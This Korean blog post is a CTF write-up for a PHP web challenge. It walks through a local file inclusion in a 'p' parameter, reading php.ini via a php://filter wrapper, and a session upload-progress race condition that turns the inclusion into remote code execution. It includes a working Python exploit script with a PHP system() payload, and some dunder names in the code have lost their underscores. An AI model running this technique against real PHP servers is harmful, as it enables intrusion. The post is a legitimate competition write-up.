ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Clear] 사이버보안 챌린지 2023 HMI Monitoring System Writeup
    CTF/사이버보안 챌린지 2023 2023. 9. 4. 17:33

    WEB 카테고리 문제였다.

    힌트에 php7.4버전 사용 및 FastCGI Process Manager를 사용하고있다는 점이 주어졌으므로 이를 참고하여 주어진 URL에 접속해보자.

     

    Chartjs 기반으로 보이는 Velzon 페이지가 나타났다. 여러 기능들을 테스트해보았지만, p 파라미터를 통해 ChartA,B,C 를 조회하는 것 외에 다른 기능들은 비활성화 되어있었다.

    활성화 되어 있는 기능에 대해 여러가지 시도를 해보면서 p파라미터에서 LFI가 발생함을 알 수 있었다.

     

    힌트를 활용해서 /etc/php/7.4/fpm/php.ini 파일 획득을 시도하였으나, 용량 문제인지 정상적으로 호출이 되지 않았다.

    이를 해결하기 위해 php wrapper 중 php://filter/convert.base64-encode/resource=[파일명] 구문을 활용하여 base64인코딩된 상태로 php.ini 파일을 획득 할 수 있었다.
    실제 적용되고 있는 파일은 fpm/php.ini 파일이겠지만, 해당 파일의 특이사항을 확인 하기 위해 /etc/php/7.4/cli/php.ini 파일을 함께 획득하여 이를 비교해보기로 했다.

     

    두 파일을 비교해보니 설정값들의 차이점을 알 수 있었다.

    서버에 실제 적용되어 있는 fpm/php.ini 의 특이사항이 위와 같이 여러 개 있었지만 그 중 주목할만한 사항들은 아래와 같았다.

     

    1. 세션 파일이 저장되는 경로가 /sessions 로 설정되어 있었다.
    (session.save_path = “/sessions”)
    2. 세션의 이름이 APPSESSID 로 설정되어 있었다.(session.name = APPSESSID)
    3. 세션에서 업로드 진행 상황을 추적 할 수 있는 기능이 활성화되어있었다.
    해당 옵션이 활성화 되어있으므로 session_start 함수 없이도 세션 파일을 생성 할 수 있게 된다.(session.upload_progress.enabled = On)
    4. 생성된 세션 파일이 바로 삭제되도록 설정되어 있었다.
    (ssession.upload_progress.cleanup = On)
    5. upload progress에 사용될 prefix는 PHP7_SESSION_UPLOAD_PROGRESS 였다.
    (session.upload_progress.name = “PHP7_SESSION_UPLOAD_PROGRESS”)

    위 내용을 종합하여 php 코드가 포함되어있는 세션 파일을 임의로 생성 후 이를 읽음으로써 RCE를 발생 시킬 수 있는 시나리오를 만들 수 있다. 자세한 내용은 아래와 같다.

     

    1. 위 조건에 맞추어 서버로 POST 형식의 요청을 전송하는데, 쿠키의 값은 APPSESSID=[파일명키워드], PHP7_SESSION_UPLOAD_PROGRSS 파라미터에 RCE 페이로드를 포함시켜 전송한다.
    2. 세션 파일이 바로 삭제되기 때문에 전송 데이터에 파일을 포함시켜 반복적으로 전송함으로써 서버 부하을 유도하여 삭제되기 전에 파일을 읽을 수 있도록 세팅한다.
    3. 세션파일이 생성될 지정된 경로에 sess_[파일명키워드] 파일을 읽는다.

     

    위 내용을 종합한 exploit code는 아래와 같다.

    import requests
    import threading
     
    url = "http://3.37.65.109:29292/client/"
     
    is_done = False
     
    def sess_req():
        cookie = {"APPSESSID": "vardy"}
        data = {'PHP7_SESSION_UPLOAD_PROGRESS': '<?php system("cat /FLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAG")?>'}
     
        while not is_done:
            res = requests.post(url, files={"f": "vardy"}, data=data, cookies=cookie)
     
    def exploit():
        payload = "?p=../../../../../../../../sessions/sess_vardy"
        while True:
            res = requests.get(url + payload)
            response = res.text
            respons_view = response.split('<div class="main-content">')[1].split('<!-- end main content-->')[0]
            if len(respons_view)>20:
                print(respons_view)
                global is_done
                is_done = True
                break
     
    if name == "main":
        threads = []
        for  in range(10):
            thread = threading.Thread(target=sess_req)
            thread.start()
            threads.append(thread)
     
        exploit()
     
        for thread in threads:
            thread.join()

     

    위 코드를 활용하여 원하는 명령어를 RCE 시킬 수 있으므로 플래그를 획득 할 수 있었다.

    FLAG = DEATHS0ATHVSRF321

     

    반응형

    댓글

Designed by Tistory.